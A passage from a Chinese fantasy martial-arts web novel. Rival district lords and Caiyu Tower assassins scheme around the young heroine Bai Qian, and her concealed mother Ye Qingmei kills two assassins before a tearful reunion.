唐婉即将步入雨幕时,白浅忽然开口,“谢谢你。”唐婉回头,雨水打湿了她额前的碎发,在廊下灯笼昏黄的光里,她的笑容明亮而温暖:“谢什么?我们既然联手,便是同舟共济。记住,在这巴山夜雨城,你不是一个人。”说完,她纵身掠入雨中,几个起落便消失在重重院落之外。 白浅在廊下站了许久,直到巡夜的弟子经过,向她行礼问安,她才恍然回神,缓步走回凝碧轩。这一夜,她睡得很不安稳脸上。晨风带来了徵水区特有的草木清气,也带来了远处演武场上弟子晨练的呼喝声。而在城的各个角落,因为昨夜那道雷,早已掀起了惊涛骇浪。宫鸣区,鹤之舞书房。书房内没有点灯,只有一缕极细的线香在黑暗中明灭。“区主,查清了。”黑衣侍卫单膝跪地,声音压得极低,仿佛生怕惊动了空气中的某种存在,“昨夜雷击之时,徵水区那位新来的唐婉、陆青烟,都在第一时间赶到了凝碧轩。之后唐婉与白浅在静室密谈至子时。这是她们谈话的留影石记录。”一枚拳头大小的黑色晶石呈上。鹤之舞接过,指尖灵力注入,静室中的对话画面立刻投射在空中——正是白浅与唐婉交谈的全程影像,连最细微的表情都清晰可见。画面播完,鹤之舞沉默良久。黑暗中,她那双清冷的眼睛里翻涌着复杂的情绪。波涟漪那个老女人,竟然真的找到了叶轻眉的女儿。而且,这白浅看起来,并不像传闻中那么简单。“这个唐婉不简单。”鹤之舞终于开口,声音像冰凌撞击,“传令下去,加强对凝碧轩、听竹苑、沐雨斋三处的监视,但务必小心,不要被察觉。尤其是唐婉,她精通毒术与追踪,反侦察能力极强。若是让她发现了我们的眼线,反倒落了口实。”“是!”侍卫领命,却又迟疑道,“区主,昨夜雷击之事,城主那边似乎有意压下,我们是否”“按城主的意思办。”鹤之舞打断他,目光落在窗外朦胧的雨幕上,“不过,有些事压是压不住的。传讯给叶轻扬、乐林间、翔云天,就说我午后在‘观云亭’设茶,请她们一叙。”侍卫躬身退下。鹤之舞独自站在窗前,指尖无意识地在窗棂上敲击。许久,她低声自语:“叶轻眉,你的女儿来了。这道雷,是你给她的警示,还是给我们的警告?十六年了,你终于舍得把这颗棋子放进棋盘了吗?” 她想起十六年前,叶轻眉离开时的那个雨夜,也是这般大雨倾盆。那个银发女子站在城头,对她说:“鹤之舞,这巴山夜雨城的水太深,你我都只是棋子。若有一日,我女儿来了,你且看她一眼,便知我当年的话不假。”如今,女儿来了。那枚棋子,终于开始搅动这潭死水。商风区,叶轻扬府邸。“昨夜那雷,你怎么看?”叶轻扬把玩着一枚玉扳指,问站在下首的心腹。“回区主,雷击之处恰好是宫鸣、徵水两区交界,太过巧合。属下怀疑,有人想借此挑动两区矛盾。鹤之舞那个老女人向来霸道,肯定会把脏水泼到波涟漪头上。”“矛盾?”叶轻扬轻笑,那笑声在圆润的大厅里回荡,显得格外虚伪,“鹤之舞和波涟漪那点陈年旧怨,还用得着挑动?不过,”她收敛笑容,眼中闪过一丝阴霾,“这道雷确实来得蹊跷。你去查查,最近有没有外人接触过那处引雷台遗址。尤其是彩羽楼的人。我听说,血薇那个贱人最近在城外活动频繁。”“是!”心腹退下后,叶轻扬走到墙边,伸手按下一处机关。墙壁无声滑开,露出一间密室。密室内别无他物,只有正中央悬浮着一面水镜,镜中水波荡漾,映不出任何倒影。她咬破指尖,一滴血珠落入镜中。水镜剧烈波动,半晌,浮现出一行字:“雷动,局启。静观其变。”叶轻扬盯着这行字看了许久,眼中神色变幻不定。最终,她一挥袖,水镜恢复平静,密室重新合拢。“局启。”她喃喃重复,“这巴山夜雨城的局,十六年前就布下了。如今棋子都到了,也该见见真章了。叶家是该选边站了,还是继续在夹缝中求生?这雷,倒是提醒了我。”角鹿区,乐林间居所。悠扬的琴声在晨雨中流淌。乐林间一袭白衣,坐在廊下抚琴,十指在琴弦上跳跃,奏出的曲子却并非她平日里喜欢的清雅小调,而是一首杀伐凌厉的《十面埋伏》。琴声戛然而止。“昨夜雷击,徵水区、宫鸣区边界。”她低声说,像是在对琴说话,“唐婉、陆青烟入城。白浅被任命为辅理。鹤之舞午后设茶,这巴山夜雨城,要起风了。”她身后,一名侍女垂手侍立,闻言轻声道:“区主,我们要做什么?”“什么也不做。”乐林间重新拨动琴弦,这次是舒缓的《流水》,“该来的总会来。我们只需看着,记着,然后在适当的时候推一把。这局棋,谁先动,谁就输了。我们角鹿区,只做那个最后的收尸人。”琴声再次响起,在雨中飘散开去,带着一种置身事外的冷漠。羽鹤区校场,翔云天一身劲装,正在指导弟子练她的教法简单粗暴——对战。数十名弟子在雨中捉对厮杀,剑光与雨幕交织,呼喝声与金铁交鸣声震耳欲聋。“停!”她忽然喝道。所有人瞬间收剑,肃然而立。翔云天走到一名弟子面前,盯着他看了半晌,才道:“你方才那一剑‘鹤唳长空’,起手时慢了半分。为什么?”那弟子脸色一白:“弟子弟子昨夜被雷声惊扰,没睡好。” “雷声?”翔云天冷笑,“一道雷就让你心神不宁,若是战场上万千雷霆齐发,你是不是要弃剑投降?”“弟子知错!”“所有人,加练一个时辰!”翔云天转身,声音传遍校场,“记住,武者之心,当如磐石。天崩地裂,我自岿然。一道雷算什么?这巴山夜雨城未来的风雨,比雷可怕得多!”弟子们齐声应诺,剑光再起。翔云天走到校场边缘,望向徵水区的方向,眉头紧锁。许久,她唤来副手:“去,从库房取三套‘玄鳞软甲’,以我的名义送到凝碧轩、听竹苑、沐雨斋。就说年轻人出门在外,多些防身之物总是好的。”副手一愣:“区主,玄鳞软甲可是”“让你去你就去。”翔云天打断他,目光深沉,“有些投资,要趁早。叶轻眉的女儿不管是福是祸,我们先结个善缘。总比到时候两头不讨好强。”副手不敢多问,躬身退下。翔云天独自站在雨中,任由雨水打湿衣衫。她想起很多年前,也是这样一个雨天,那个叫叶轻眉的女子一人一剑杀上巴山,剑光所向,无人能挡。如今,她的女儿来了。叶轻眉,”翔云天低声自语,“你把女儿送来,到底想做什么?十六年之约将满,这巴山夜雨城,还能平静几天?”地隐门至·故人重逢雨越下越大。而在这场笼罩全城的大雨中,一封密信正悄然送入城主府,呈到白望春案前。信上只有八个字:“楼主动,风雨至。保重。”白望春看完,指尖腾起一缕白色火焰,将信纸烧成灰烬。她走到窗边,望着外面连绵的雨幕,眼中第一次露出了凝重的神色。“终于要开始了吗?”她缓缓握紧拳头,指甲深深陷入掌心。远处天际,又一道闷雷滚过,仿佛在回应她的低语。与此同时,在宫鸣区外围一处可俯瞰小半个外城的“观星台”上,白浅正凭栏而立。她身披一件素白斗篷,兜帽边缘的绒毛沾着细密雨珠。此处是白望春特允她可来的少数几个宫鸣区外围地点之一,用于“静心观气”。她并非在看风景,而是尝试将精神力与体内那枚“冰晶核心”产生的一丝微妙感应外放,去“感受”整座巴山夜雨城庞大而复杂的地煞灵脉流转,以及混杂其中的、无数强弱不一的这是波涟漪传授的一种高阶感知法门的雏形,旨在锻炼她对能量和“势”的敏感度。突然,她感应到数道沉稳、晦涩却又透着几分熟悉的强横气息,正从西北方向的天空急速接近! 那股气息的源头与她记忆中唐婉、陆青烟所修功法隐隐同源,但更加深邃磅礴! “这是地隐门的《玄隐真诀》?而且是门中长辈亲至?”白浅心中一动,立刻收敛精神力。几乎在她完成收敛的刹那,那几道气息似乎也察觉到了她的探查,微微一顿,随即更加隐晦地融入了雨幕与城防大阵的波动之中,朝着城主府方向落去。 “是白梦秋师伯她们到了。”白浅暗忖。她听唐婉提过这位师伯,是母亲叶轻眉的故交,修为高深。她们此时到来,是友是敌?是为助城主稳固局势,还是另有所图? “浅浅妹妹,好雅兴。”一个温婉却不失清冷的声音自身后传来。白浅转身,只见徵水区的三弟子梁文引着三位女子走了过来。为首一人身着月白道袍,头挽道髻,面容清矍,气质出尘,看似三十许人,眸光却深邃如古井,正是地隐门门主白梦秋。她身后左侧是一位身着鹅黄劲装、眉眼英气逼人的女子秦姝,右侧则是一位气质清冷、怀抱古琴的少女——单芷若,稍后一步跟着一位神情活泼、好奇打量四周的绿衣少女赵雨菲。 “白浅见过白师伯,见过三位师姐。”白浅依礼相见。她能感觉到,白梦秋的修为如渊似海,至少是化境段的强者,而秦姝、单芷若也已是笃行段上品乃至大极位,赵雨菲稍弱,亦有中品修为。“不必多礼。”白梦秋微微颔首,目光在白浅身上停留一瞬,眼中闪过一丝难以言喻的复杂,似是怀念,又似是叹息,“像,尤其是这双眼睛,和眉心的灵韵。”她说的,自然是像叶轻眉。“师伯认识家母?”白浅试探道。“故人。”白梦秋不愿多谈,转移话题道,“我此次前来,一是应望春城主之邀,商议要事;二来,也是听闻婉儿和青烟在此,顺道看看。你近日在城中,可还安好?”“劳师伯挂心,浅浅一切安好,有城主姑姑和波姨照看。”白浅回答得体,心中却快速分析:白梦秋亲自前来,绝非“顺道看看”那么简单。秦姝上前一步,抱拳道:“白浅师妹,久仰。”白浅心头微震。这是她与唐婉约定的暗语,意指“听雨茶楼”线索有进展,但需等待或加一把力。唐婉让秦姝带话,既是传递信息,也暗示秦姝等人值得一定程度的信任。“多谢秦师姐传话。”白浅会意,“茶,总会热的。”单芷若静静立在一旁,手指无意识地在琴弦上轻抚,未发一言,但目光偶尔扫过宫鸣区深处,带着一丝不易察觉的探究。赵雨菲则笑嘻嘻地凑近白浅:“白浅师妹,你们巴山夜雨城真好玩,雨一直下,房子都建在山上,我昨天还看到会发光的鱼在河里游!”白梦秋无奈地看了一眼小徒弟,对白浅道:“雨菲顽劣,让你见笑了。我们还需去拜见城主,先行一步。浅浅,你既在宫鸣区,行事还需更加谨慎。有些风雨,非人力可挡,明哲保身亦是智慧。”这番话,似提醒,似告诫。影杀·雪女临尘而此刻,在巴山夜雨城外,隐藏在苍茫山脉的阴影中的彩羽楼,一双幽冷的眼睛,正透过重重雨幕,遥望着城中隐约的灯火。“叶轻眉……你终于还是为了女儿,踏出了不老峰。”一个柔媚却冰冷的女声轻轻响起,带着刻骨的恨意与一丝兴奋,“这次,绝不会再让你逃掉。”“传令给‘紫嫣、梅影’,按计划行事。三日后,‘盛宴’开场。”苍茫山脉边缘,一处被天然雾气与阵法双重遮蔽的岩洞内。彩羽楼主冰冷的声音还在空气中残留,岩洞深处阴影里,两团模糊的人影缓缓浮现、凝聚。先是一阵甜腻中带着血腥气的香风,随即,两道窈窕有致的身影完全显现。左侧女子,紫嫣,身着绛紫色紧身皮甲,勾勒出惊心动魄的曲线,外罩同色纱衣,行动间如魅影摇曳。她容颜艳丽,红唇似血,眼波流转间媚意天成,却又在最深处沉淀着毒蛇般的阴冷。她手中把玩着一对薄如蝉翼、边缘泛着幽蓝光泽的弧形淬毒刃,正是其标志性武器“紫魅双弧”。右侧女子,梅影,则是一身墨黑劲装,几乎与阴影融为一体。她身形更为纤细,面容清秀苍白,但一双眸子却空洞漠然,仿佛没有任何情感。她静静地站着,手中并无明显兵刃,唯有十指指甲呈现诡异的暗紫色,长而锋利,显然淬有奇毒。她是潜伏与刺杀的大师,气息收敛时,几与顽石无异。两人身上散发的气息,赫然都达到了化境段下品的境界,在彩羽楼“魉”级杀手中,也属中坚力量。“紫魅大人的命令,都听清楚了?”一个嘶哑难辨男女的声音从岩洞角落传出,那里还伫立着第三道模糊的影子,是传令使者。“清楚了。”紫嫣舔了舔红唇,眼中闪过一丝贪婪与兴奋,“巴山夜雨城防卫重心转移,是尝试引动其共鸣的最佳时机。若能确认‘冰魄种子’觉醒,楼主赏赐足以让我们冲击化境段中品了。”梅影依旧沉默,只是空洞的眸子望向巴山夜雨城的方向,指尖无意识地在岩壁上划过,留下五道浅浅的、冒着细微黑烟的焦痕。“莫要大意。”传令使者冷声道,“白望春不是易与之辈,那叶轻眉更可能已暗中入城。你们的任务只是确认与初步引动,制造足够混乱即可,绝不可恋战。”“知道啦。”紫嫣不耐烦地摆摆手,“不就是看一眼那小姑娘,再用‘引魂香’试试能不能勾起‘种子’反应嘛。放心,我们姐妹俩联手,就算被发现了,脱身也不难。”梅影终于开口,声音干涩沙哑:“现在,进城?”“嗯,立刻动身。凭你们的隐匿功夫,趁夜从商风区与苍茫山接壤的‘落星峡’秘密水道潜入。那里有叶家早年私自开凿的暗渠,地图已给你们。记住,在‘净雨居’潜伏,非必要绝不外出,等待下一步指令,或三日后伺机而动。”紫嫣与梅影不再多言,对视一眼,身形同时变得模糊,如同两道轻烟,悄无声息地飘出了岩洞,没入外面无边无际的夜雨与山林之中。她们沿着险峻的山脊飞掠,如鬼似魅,完美避开了巴山夜雨城设置在苍茫山脉外围的明暗岗哨。一个时辰后,抵达了地图标注的“落星峡”这里是一处狭窄湍急的峡谷,水声轰鸣。两人寻到一处被藤蔓遮蔽的隐秘洞口,钻入其中,在黑暗潮湿、布满苔藓的地下暗渠中潜行了小半个时辰,最终从商风区边缘一处荒废宅院的后花园枯井中悄然钻出。雨夜掩盖了她们的行迹。两人按照指示,如同真正的幽灵,在巴山夜雨城错综复杂的街巷与屋檐阴影中穿行,避开巡逻队,最终抵达了徵水区西南角那片相对僻静的园林区,找到了那处名为“净雨居”的废弃小院。院子不大,久无人居,但内里却被打扫过,并留下了清水、干粮,以及一些伪装用的衣物。这里显然是彩羽楼一处备用的安全屋。“先在此落脚,等待指令。”梅影低声道,声音在空寂的院落中几不可闻。紫嫣点头,刚想检查一下屋舍,突然,她和梅影同时身体一僵,霍然转身,目光锐利如刀,射向小院月亮门的方向!就在刚才那一刹那,一股微弱却精纯无比、让她们体内修炼的阴寒功法都为之颤栗的极致冰寒剑意,如同投入平静湖面的石子,虽然一闪即逝,却被她们敏锐地捕捉到了!而且,来源似乎不远!“这剑意不对!”紫嫣脸色微变,“不是白望春的路子,冰冷、古老、高高在上难道是?”一个她们绝不想在此刻遇到的名字浮上心头。过去看看!小心!”梅影当机立断。她们的任务也包括侦查巴山夜雨城内的异常高手动态。这道突如其来的恐怖剑意,或许就与目标有关!两人毫不犹豫,身形再次融入阴影,如同两道无声的暗影,朝着剑意与动静传来的方向疾掠而去。她们对自己的潜伏能力极为自信,认为即使有高手在交战,她们也有把握在远处窥探而不被发现。几个起落间,她们已悄无声息地落在了“凝碧轩”相邻街区一座较高的阁楼飞檐之上,借着一丛茂密的凌霄花遮掩身形,向下望去。只见下方是一处精致的偏院,应是徵水区某位重要人物的居所。院中气氛凝重,城主白望春赫然在列,正面罩寒霜,与徵水区主波涟漪一同,似乎正与什么人对峙。而让紫嫣、梅影血液几乎冻结的是,在白望春对面不远处,月光与细雨之下,静静立着的那道银发白裙、手持冰焰长剑的绝世身影!“叶轻眉!”紫嫣险些失声叫出,连忙死死咬住嘴唇。梅影的瞳孔也缩成了针尖。就在这时,或许是她们因极度震惊而气息泄露了丝毫,或许是叶轻眉的灵觉实在太过恐怖。那位银发女子,竟然缓缓地,朝着她们藏身的方向,转过了脸,清冷如万古冰渊的目光,似乎穿透了雨幕与花叶的遮蔽,精准地落在了她们身上!被发现了!紫嫣和梅影心中警铃狂响,魂飞魄散,想也不想,立刻就要施展秘法远遁!然而,已经晚了。一股无形却磅礴如海的冰冷威压瞬间降临,将她们所在的阁楼完全笼罩、锁定!那威压中蕴含的剑意,让她们周身灵力运转都变得艰涩无比,仿佛被冻在了琥珀中的飞虫。惊魂未定,紫嫣和梅影背靠背站立,警惕地扫视四周。方才那道突如其来的恐怖劲气,虽然被她们险之又险地避开,但擦身而过的死亡寒意,让这两位双手沾满血腥的“魉”级杀手,也感到了久违的心悸。距离她们十几丈之外,静静地站着一个如同从月下寒潭中走出的女人。她身材高挑,神情是一种亘古冰川般的冷漠,柳眉微蹙,银白如雪的长发披散肩头,垂至腰际,与一身月白流云长裙相映,在朦胧雨夜中散发着清冷出尘的光晕。她额间一枚紫晶额饰,在白皙肌肤上流转着幽邃光华。这个女人美得惊心动魄,那是一种混合了成熟风韵与历经万古沧桑的深邃气质,高傲孤绝,令人不敢逼视。纵然是紫嫣、梅影这等见惯风浪、心冷如铁的杀手,此刻呼吸也不由一滞。然而,更让她们心惊胆战的,是她手中那柄长剑。剑长三尺三,宽仅两指,通体晶莹如玄冰锻造,剑身上缭绕着肉眼可见的苍白冰焰,无声翻滚,散发出令灵魂都为之冻结的极致寒意。以她们为中心,方圆数十丈内的温度骤降!地面、草木、廊柱瞬间凝结出厚厚的冰霜,空气中弥漫的雨丝化作细密冰晶簌簌落下,发出“咔嚓嚓”的轻响,整个徵水区这处偏院,仿佛在刹那间被拖入了极北冰原。就在这时,数道强横气息急速掠至,为首的正是城主白望春 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“女儿?”紫嫣和梅影先是一愣,随即猛地想起此次任务的最终目标——那个身怀“冰魄种子”的巴山夜雨城少女,白浅!再结合眼前女子那惊人相似的银发、冰寒属性以及深不可测的实力,一个让她们魂飞魄散的念头划过脑海!“叶……叶轻眉?!你是雪女叶轻眉?!”紫嫣失声惊呼,声音尖锐得变了调,脸上的血色刹那间褪得干干净净,眼中充满了无与伦比的惊恐!她们只是“魉”级杀手,或许能在寻常化境段高手面前周旋,但面对这位十几年前就敢单枪匹马杀入彩羽楼重地、夺走“冰魄寒髓”、并在无数高手围剿下全身而退的传奇人物,她们连一丝抵抗的念头都生不起来! 梅影更是浑身发软,差点握不住手中的淬毒匕首。关于这位“雪女”的可怕传说,在彩羽楼内部是足以让小儿止啼的禁忌!她怎么会在这里?她竟然是白浅的生母?!白望春听到叶轻眉的话,眼中闪过一丝复杂,但并未出言打断,只是不动声色地移动了半步,隐隐与叶轻眉形成了掎角之势,封住了紫嫣二人最主要的退路。波涟漪也悄然出现在另一侧,气机锁定。 叶轻眉没有再理会白望春,也没有再看波涟漪。她手提那柄跳动着苍白冰焰的长剑,一步步,朝着僵立在原地的紫嫣和梅影走去。她的步伐依旧从容优雅,裙裾微扬,但在紫嫣和梅影的感知中,这每一步都仿佛踩在她们的心跳上!那不是人在行走,而是一座巍峨万古、镇压天地的冰山,正携着碾碎一切的绝对零度与无上威严,向她们缓缓倾倒、碾压而来!恐怖的剑意与威压如同实质的冰潮,瞬间淹没了她们。两人只觉得浑身血液都要冻结,经脉中的地煞之气凝滞不堪,连手指都难以动弹分毫,无边的恐惧扼住了她们的喉咙,让她们连惨叫都无法发出。 叶轻眉在距离她们不足一丈处停下。她没有立刻出手,只是静静地看着她们,那目光仿佛在审视两只微不足道的蝼蚁。“是血薇派你们来的?”她问,声音平淡,却带着不容置疑的穿透力,“目标是我女儿体内的‘种子’?为了那处‘玄冰秘境’?”紫嫣和梅影牙齿打颤,在绝对的力量与恐惧压制下,连撒谎的勇气都没有。紫嫣艰难地点头,喉咙里发出“嗬嗬”的声音。“巴山夜雨城里,还有谁?听雨茶楼的掌柜是谁?叶家,角鹿区,还藏着什么?”叶轻眉继续问道,每一个问题都直指核心。叶轻眉动了。没有惊天动地的声势,只有两道微不可查的苍白剑光,如同夜色中一闪即逝的冰线,以超越了紫嫣和梅影反应极限的速度,分别点向两人的眉心。“手下留……”白望春的“人”字还未出口。“噗。”“噗。”两声轻响,仿佛冰珠碎裂。紫嫣和梅影脸上的惊恐瞬间凝固,眼神迅速黯淡、涣散。两具姣好的身躯晃了晃,随即表面迅速覆盖上一层厚厚的、晶莹剔透的坚冰,化作两尊栩栩如生的人形冰雕。冰雕内部,一切生机、魂魄,已在刹那间被那极致冰寒的剑气彻底湮灭。叶轻眉缓缓收剑,看也未看那两座冰雕,转身面向白望春。整个庭院,死一般寂静。只有夜风吹过冰雕,发出细微的呜咽,以及远处隐约传来的、被惊动的守卫疾驰而来的脚步声。城主府暗涌·谍影重重城主府,深处一座平日里鲜有人至的僻静水榭。这里是鹤之舞私下接见心腹之所,窗外雨雾朦胧,将一切都隔绝开来。“啪!”一声脆响,鹤之舞将手中的茶盏重重合在案几上,滚烫的茶水溅出,打湿了她素白的衣袖。她那张清冷如霜的脸上,此刻却布满了寒意与一丝不易察觉的惊悸。“好一个白浅!好一个叶轻眉的女儿!”鹤之舞冷笑,声音像是冰渣子在摩擦,“不仅引动了‘法则共鸣’,如今更是连赢十场,登顶黄榜第十一。这般妖孽的天资,若是让她顺利成长起来,再过三年,我巴山夜雨城还有我鹤之舞立足之地吗?”站在下首的叶轻扬,眉头微蹙,眼中精光闪烁,却不像鹤之舞那般外露:“鹤姐姐何必动怒。白浅毕竟是城主姑姑亲自带回来的,也是咱们看着长大的孩子。虽然如今局势复杂,但她本人并无过错,若是贸然恐怕会寒了城主姑姑的心。”“我没有要动她。”鹤之舞冷冷道,眼中闪过一丝阴鸷,“但我绝不能看着她成为第二个叶轻眉,将这巴山夜雨城搅得天翻地覆。她如今是‘辅理’,更是黄榜武者,光芒太盛,树大招风。这世上的危险,不仅仅来自内部。”叶轻扬心领神会,压低了声音:“鹤姐姐的意思是彩羽楼?”“不错。”鹤之舞指尖敲击着桌面,“昨夜那道雷,紫嫣和梅影死在叶轻眉手里,看似是我们占了上风。但我总觉得,这只是暴风雨前的宁静。彩羽楼那群疯子,绝不会善罢甘休。他们既然敢派‘魉’级杀手入城,就一定还有后手。”她顿了顿,眼中寒光一闪:“既然白浅如今是众矢之的,那我们不如顺水推舟。把‘饵’做得再诱人一些。”“你的意思是,放出风声,说白浅身怀重宝,或者是开启某个秘境的关键?”叶轻扬问道。“聪明。”鹤之舞嘴角勾起一抹冷酷的弧度,“我们不动手,但要让彩羽楼的那些间谍觉得有机可乘。让他们去争,去抢,去自相残杀。而我们,只需坐山观虎斗,必要时,再出手收拾残局。”叶轻扬沉吟片刻,道:“此法可行。只是,这风声要如何放?彩羽楼在城中的眼线,恐怕比我们想象的还要多。”“这就不需要你操心了。”鹤之舞站起身,望向窗外无尽的雨幕,“我自有安排。倒是你,商风区掌控商贸情报,近期务必盯紧所有外来人员,尤其是那些行迹诡异、修为不俗的独行客。一旦发现可疑之人,不必上报,直接‘处理’掉。”“明白。”叶轻扬点头,心中却是一沉。鹤之舞这招借刀杀人,虽狠辣,却也把白浅推向了风口浪尖。她这位看着长大的妹妹,怕是要在刀尖上跳舞了。 暗室密谋·云为衫的抉择,与此同时,在徵水区与商风区交界处,一处名为“听雨茶楼”的地下室里。这里没有奢华的装饰,只有一盏昏暗的油灯,映照出两张戴着面具的脸。其中一人,身着一袭素白长裙,面容被一层薄薄的面纱遮盖,只露出一双清冷决绝的眸子。正是那个本该在城主府静心院诵经的“白为衫”——云为衫。而在她对面的,则是一个身形佝偻、气息阴冷的黑袍人,他低着头,露出的皮肤呈现出一种不正常的青灰色。“尊使,鹤之舞那边已经动了心思。”黑袍人声音嘶哑,像是两块砂纸在摩擦,“她打算利用白浅做饵,引出我们在城中的暗桩。我们要配合她吗?”云为衫沉默了片刻,手指轻轻摩挲着手中的茶杯边缘。她如今身在曹营心在汉,表面上听从彩羽楼的命令,实际上却在寻找机会摆脱控制。“不。”云为衫开口,声音清冷而坚定,“鹤之舞想借刀杀人,我们便将计就计。你去通知潜伏在羽鹤区的‘魑三’,让他暂时按兵不动,不要去碰白浅。鹤之舞想看戏,我们就给她演一出更大的。”黑袍人一愣:“尊使的意思是?”“鹤之舞想让白浅当靶子,我们就把靶子换成她自己。”云为衫眼中闪过一丝厉色,“鹤之舞近来不是在清查城防漏洞吗?你派人去‘宫鸣区’的军械库制造一点‘小意外’。记住,要做得像是羽鹤区翔云天的人干的。鹤之舞与翔云天素来不和,这把火,一烧就得旺。”“这”黑袍人有些犹豫,“尊使,我们此次的任务是针对白浅,若是内斗起来,岂不是耽误了楼主的大事?”“白浅有叶轻眉那个怪物守着,正面硬撼是蠢货的行为。”云为衫冷笑,“我们要做的,是打乱巴山夜雨城的节奏,让他们内部先乱起来。只要鹤之舞和翔云天斗起来,白望春自顾不暇,我们才有机会接触到白浅体内的‘种子’。而且”她顿了顿,声音低沉下来:“我不想看到白浅死在彩羽楼手里。她是我的恩人,也是我复仇的唯一希望。她若死了,我在这世上,便再无牵挂,也无筹码。”黑袍人不再多言,低头道:“属下明白了。那关于‘听雨茶楼’这边,是否要继续收集白浅的情报?”“照常收集,但不要有任何实质性的动作。”云为衫站起身,面纱下的目光幽深,“告诉潜伏在城主府的那个‘魅七’,让她收敛点。白望春那个老狐狸精明得很,别让她发现了尾巴。还有,那个叫唐婉的丫头不是善茬,让她离唐婉远点。”“是。”云为衫看着黑袍人离去,独自一人站在黑暗中。她抚摸着袖中那枚紫色的羽毛,那是她作为“紫魅”尊使的信物,也是一道催命符。“白浅,你一定要撑住。”她低声自语,“这满城的雨,都是血。而我,也只能在这血雨中,为你趟出一条生路。”凝碧轩·暗流与明悟凝碧轩内,白浅打了一个冷战。她正坐在窗前,看着外面的雨,忽然感到一阵莫名的心悸。那种感觉,就像是被无数双隐藏在黑暗中的眼睛同时盯住,冰冷而黏腻。“怎么了?”正在一旁擦拭长剑的陆青烟敏锐地察觉到了她的异样。“没什么,只是觉得有点冷。”白浅摇了摇头,试图驱散那种不适感。她并不知道,就在刚才,她已经在鬼门关前走了一遭。鹤之舞的借刀杀人,云为衫的将计就计,两张无形的大网正在向她收紧。“冷就多穿件衣服。”陆青烟将一件披风递给她,神色担忧,“刚才波姨派人传话,让你这几日没事不要出城主府。最近城里不太平,好像有流寇在活动。”“流寇?”白浅接过披风,心中冷笑。哪有什么流寇,这分明是五大区主之间的博弈,以及彩羽楼间谍的渗透。她现在就像是一颗被抛在棋盘中央的棋子,周围的每一方势力都想吃掉她,或者利用她。“青烟姐姐,”白浅忽然问道,“你觉得,这巴山夜雨城,还算是家吗?”陆青烟一愣,随即柔声道:“只要有人的地方,就有争斗。城主姑姑待你如亲生,波姨视你如己出,唐婉姐姐和我更是你的臂膀。只要我们还在,这里便是家。至于那些暗地里的肮脏手段”她拔出长剑,剑锋在雨光中泛起寒芒。“我们便用剑,把它们统统斩断便是。”白浅看着陆青烟坚定的眼神,心中的阴霾散去了些许。她点了点头,从怀中取出了那枚麒麟丹。“你说得对。与其坐以待毙,不如主动出击。既然鹤之舞想让我当饵,那我便做个最凶的饵。既然彩羽楼想抢,那我便让他们抢个鸡犬不宁。”她握紧了手中的剑。窗外,雨下得更大了。但这座巨城深处的暗流,比雨水更冷,更急。 49. 物是人非事事休 凝碧轩偏院,死寂如坟。叶轻眉收剑而立,那柄名为“雪魄”的古剑并未归鞘,只是静静悬浮在她身侧,剑身上缭绕的苍白冰焰将方圆数十丈化作了极北冰原。五大区主联手催发的磅礴罡气,在她那一记“天剑”之下,如土鸡瓦狗般分崩离析。 没有华丽的招式,没有惊天的声势。只有无数道肉眼可见的、细密如发丝的无形剑气,在虚空中织成一张死亡的大网,将一切阻挡绞碎。白望春瞳孔骤缩,心中掀起了惊涛骇浪。天剑!这传说中的境界,竟真的有人在世间达到了。叶轻眉的实力,比十六年前离开时,又恐怖了多少?她此刻展现出的,究竟是冰系的极致,还是剑道的巅峰? 鹤之舞的脸色苍白如纸。她引以为傲的“鹤舞九天”罡气,在对方那只冰凉手掌的轻触下,竟如薄冰遇火,瞬间溃散。紧接着,冰冷的剑鞘顶端住了她的眉心。 死亡的阴影从未如此清晰。 我不想杀人。”叶轻眉的声音清冷,却带着一种让人骨髓发寒的杀意,“但是不代表我不会杀人!” 她目光一扫,那眼神如同万载玄冰,瞬间冻结了鹤之舞、叶轻扬、乐林间、翔云天和波涟漪五人体内的战意。这是一种源于生命层次的压制,是对“剑”与“道”的绝对理解所带来的威压。 鹤之舞喉头滚动,却发不出半点声音。她毫不怀疑,只要自己稍有异动,下一刻眉心便会多出一个血洞。 就在这时,叶轻眉的目光越过了五大区主,落在了被波涟漪护在身后的白浅身上。 四目相对的刹那。 时间仿佛在这一刻静止了。 白浅只觉得丹田内的冰晶核心猛地一颤,一股从未体验过的、源自血脉深处的悸动席卷了全身。那种感觉,就像是漂泊了亿万年的孤舟,终于看到了灯塔的微光。 叶轻眉高挑的身躯微微颤抖起来。她看着那个少女,看着那张与记忆中那个人有着七八分相似的脸庞,冰山般的冷傲瞬间崩塌。她缓缓闭上眼,深吸一口气,再睁开时,眼中已是一片复杂的、几乎要溢出的水雾。 她一步步走向白浅,步伐很轻,却像踩在所有人的心上。 波涟漪下意识地想挡,却被白望春轻轻拉住。白望春看着叶轻眉,眼中满是叹息与了然。 叶轻眉在白浅面前停下,伸出一只冰凉如玉的手,指尖带着一丝不易察觉的颤抖,轻轻触向白浅的脸颊。 白浅浑身僵硬,想要避开,却在那双眼睛的注视下动弹不得。那双眼睛里,有愧疚,有胆怯,有欣慰,有狂喜,还有无边无际的、浓得化不开的爱意与思念。 指尖触及肌肤的瞬间。 一滴滚烫的泪珠,顺着叶轻眉苍白的脸颊滑落,滴在白浅的手背上。 “你长这么大了。”叶轻眉的声音嘶哑破碎,每一个字都仿佛用尽了全身的力气。这句简单的话,像一把重锤,狠狠砸碎了白浅心中最后一道防线。鼻子一酸,眼泪不受控制地涌了出来。“前辈认识我么?”白浅哽咽着,声音颤抖。叶轻眉轻轻点头,指尖拂过白浅脸颊的轮廓,像是在抚摸一件稀世珍宝:“认识。在你还很小很小的时候,我抱过你,给你洗过澡你后背第三根肋骨往下一点的位置,有一处淡淡的、像雪花似的胎记,对么?” 白浅浑身剧震,泪水决堤。叶轻眉看着她,努力扯出一个比哭还难看的笑容,声音颤抖着撒谎:“我……我是你母亲叶轻眉的师姐,我叫叶轻眉。你可以叫我……叶姑姑。” 说出这句话时,叶轻眉的心口仿佛被万剑穿心。她不敢承认,她怕这个孩子恨她,怕她失望,怕她露出厌恶的眼神。她亏欠了十六年,只能用这种方式,小心翼翼地靠近。 白浅看着她眼中那近乎哀求的痛苦,心中那点关于身世的迷茫与空洞,被巨大的酸楚填满。她轻轻点了点头,泪水涟涟:“叶姑姑。” 这一声,让叶轻眉的眼泪流得更凶。她紧紧握住白浅的手,那冰凉的温度,终于有了一丝真实感。玉漱宫内,灯火通明,气氛却压抑得让人窒息。 叶轻眉坐在首位,依旧是那副清冷绝尘的模样,但周身那股拒人千里的寒意已消散大半。白浅坐在她下首,两人紧挨着,手一直未曾分开。 